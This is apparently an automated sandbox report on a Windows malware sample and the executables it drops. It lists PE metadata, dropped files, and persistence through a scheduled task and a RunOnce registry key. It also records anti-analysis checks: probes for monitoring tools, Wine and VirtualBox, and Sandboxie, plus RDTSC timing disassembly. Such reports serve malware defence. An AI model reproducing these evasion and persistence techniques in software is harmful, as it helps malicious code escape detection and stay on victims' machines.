Source: soonmaiintain.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x1999b3
Source: soonmaintain.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x19c294
Source: Idau8QuYa3.exe	Static PE information: real checksum: 0x1d6957 should be: 0x1df3ca

Source: Idau8QuYa3.exe	Static PE information: section name:
Source: Idau8QuYa3.exe	Static PE information: section name: .idata
Source: Idau8QuYa3.exe	Static PE information: section name:
Source: Idau8QuYa3.exe	Static PE information: section name: muxysgpc
Source: Idau8QuYa3.exe	Static PE information: section name: qqqbnjcx
Source: Idau8QuYa3.exe	Static PE information: section name: .taggant
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name:
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name: .idata
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name: frhnetpr
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name: tbiteucn
Source: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe.0.dr	Static PE information: section name: .taggant
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name:
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: .idata
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: guulvnfq
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: wreswaoh
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name: guulvnfq
Source: skotes.exe.5.dr	Static PE information: section name: wreswaoh
Source: skotes.exe.5.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA45EC push esi; retf	0_3_00EA45EF
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA617C push esi; retf	0_3_00EA617F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA617C push esi; retf	0_3_00EA617F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA45EC push esi; retf	0_3_00EA45EF
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA617C push esi; retf	0_3_00EA617F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00EA617C push esi; retf	0_3_00EA617F
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3C360 pushad ; ret	0_3_00E3C361
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CB60 pushad ; retf	0_3_00E3CB61
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CF60 pushad ; iretd	0_3_00E3CF61
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3C364 pushad ; ret	0_3_00E3C365
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CB64 pushad ; retf	0_3_00E3CB65
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CF64 pushad ; iretd	0_3_00E3CF65
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3C368 push 6800E3C3h; ret	0_3_00E3C36D
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CB68 push 6800E3CBh; retf	0_3_00E3CB6D
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CF68 push 6800E3CFh; iretd	0_3_00E3CF6D
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3C350 push eax; ret	0_3_00E3C351
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CB50 push eax; retf	0_3_00E3CB51
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CF50 push eax; iretd	0_3_00E3CF51
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3C354 push eax; ret	0_3_00E3C355
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CB54 push eax; retf	0_3_00E3CB55
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Code function: 0_3_00E3CF54 push eax; iretd	0_3_00E3CF55
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_0084D91C push ecx; ret	5_2_0084D92F
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Code function: 5_2_00841359 push es; ret	5_2_0084135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001DD91C push ecx; ret	6_2_001DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_001DD91C push ecx; ret	7_2_001DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001DD91C push ecx; ret	8_2_001DD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001FDEDB push ss; iretd	8_2_001FDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001DDFC6 push ecx; ret	8_2_001DDFD9

Source: Idau8QuYa3.exe	Static PE information: section name: entropy: 7.986298244628269
Source: Idau8QuYa3.exe	Static PE information: section name: muxysgpc entropy: 7.953971660026377
Source: 15E9YUDKFQLPC478BWEBATDC87A.exe.0.dr	Static PE information: section name: entropy: 7.051345651311044
Source: skotes.exe.5.dr	Static PE information: section name: entropy: 7.051345651311044
Source: soonmaiintain.exe.10.dr	Static PE information: section name: .text entropy: 7.368805778909753
Source: soonmaintain.exe.10.dr	Static PE information: section name: .text entropy: 7.371636214411701

Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, NHA8oK0tgMP2BuukbmF.cs	High entropy of concatenated method names: 'Qj18r0AkLp', 'NB18zI4wEp', 'uepeHCxaUm', 'Kg8eGEd7m6', 'n22eiR4ro3', 'Dh1elEoVlu', 'UJ7eFOKrlI', 'cgb0kDBMHp', 'k0pepvJL3j', 'AaIeQcVqis'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, RDXmfvNIcv3GyHFlUY9.cs	High entropy of concatenated method names: 'g5qtxycW7JUyJNEM9So', 'gL2bkecYM7M0bu5opX5', 'jbTxefOB1o', 'vh0ry9Sq2v', 'I9ZxDGqbPI', 'uAgxgbVX2G', 'Xw9x4onaF7', 'JJoxuIC3c3', 'SdOI6Q4yyS', 'jPhNnD9nCW'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, BuSQOexAjNrLJvDLNtZ.cs	High entropy of concatenated method names: 'FSCxTuDl1m', 'bMKxrIRwJj', 'zxhxzem1IV', 'wIe0HanyFM', 'NA10G0BY9J', 'zS50i84wsB', 'jq70lxORjW', 'p6w0FcMb7E', 'CJZ0pJovNX', 'AwJ0QCacTe'
Source: 11.2.soonmaintain.exe.1264bbdc900.1.raw.unpack, l78QB0Q56OluIq6sprD.cs	High entropy of concatenated method names: 'xhpQfgOJNv', 'SthQXdcMTA', 'H08Qehfyu5', 's5WQR3GOE1', 'RrtQwN6v7O', 'cS6Q3JeDTK', 'bD5QBFkONY', 'VTdQLd1Ju9', 'z1uQD41934', 'LFiQgKE0Nj'

Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File created: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File created: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_8-36937
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_6-9684

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F02C8 second address: 5F02F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007FD2956E1628h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FD2956E1632h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F02F8 second address: 5F02FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F0708 second address: 5F070C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F070C second address: 5F0711 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F3D64 second address: 5F3D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F3EFC second address: 5F3F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F4018 second address: 5F401C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F406B second address: 5F40F1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FD295329661h 0x0000000d nop 0x0000000e mov si, 23A2h 0x00000012 mov edx, eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FD295329658h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dh, 65h 0x00000032 call 00007FD295329659h 0x00000037 jmp 00007FD295329660h 0x0000003c push eax 0x0000003d jmp 00007FD295329668h 0x00000042 mov eax, dword ptr [esp+04h] 0x00000046 pushad 0x00000047 pushad 0x00000048 jno 00007FD295329656h 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F40F1 second address: 5F412C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD2956E1635h 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 jc 00007FD2956E162Eh 0x00000017 push ecx 0x00000018 jc 00007FD2956E1626h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push eax 0x00000027 pop eax 0x00000028 push edi 0x00000029 pop edi 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F412C second address: 5F4185 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329666h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c mov edx, dword ptr [ebp+122D278Ch] 0x00000012 pop ebx 0x00000013 mov dword ptr [ebp+122D1831h], esi 0x00000019 popad 0x0000001a push 00000003h 0x0000001c clc 0x0000001d sub dl, 00000051h 0x00000020 push 00000000h 0x00000022 xor dword ptr [ebp+122D1998h], edi 0x00000028 push 00000003h 0x0000002a jnl 00007FD29532965Ch 0x00000030 push 5D2C01FEh 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FD29532965Ah 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F4185 second address: 5F4189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F4189 second address: 5F4197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FD295329656h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F4197 second address: 5F41ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 62D3FE02h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FD2956E1628h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 add dword ptr [ebp+122D196Dh], esi 0x0000002e movsx edi, cx 0x00000031 lea ebx, dword ptr [ebp+1245ECB5h] 0x00000037 add edx, dword ptr [ebp+122D27FCh] 0x0000003d xchg eax, ebx 0x0000003e push ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FD2956E1633h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 5F41ED second address: 5F41FD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 613136 second address: 613151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD2956E162Fh 0x00000010 popad 0x00000011 rdtsc
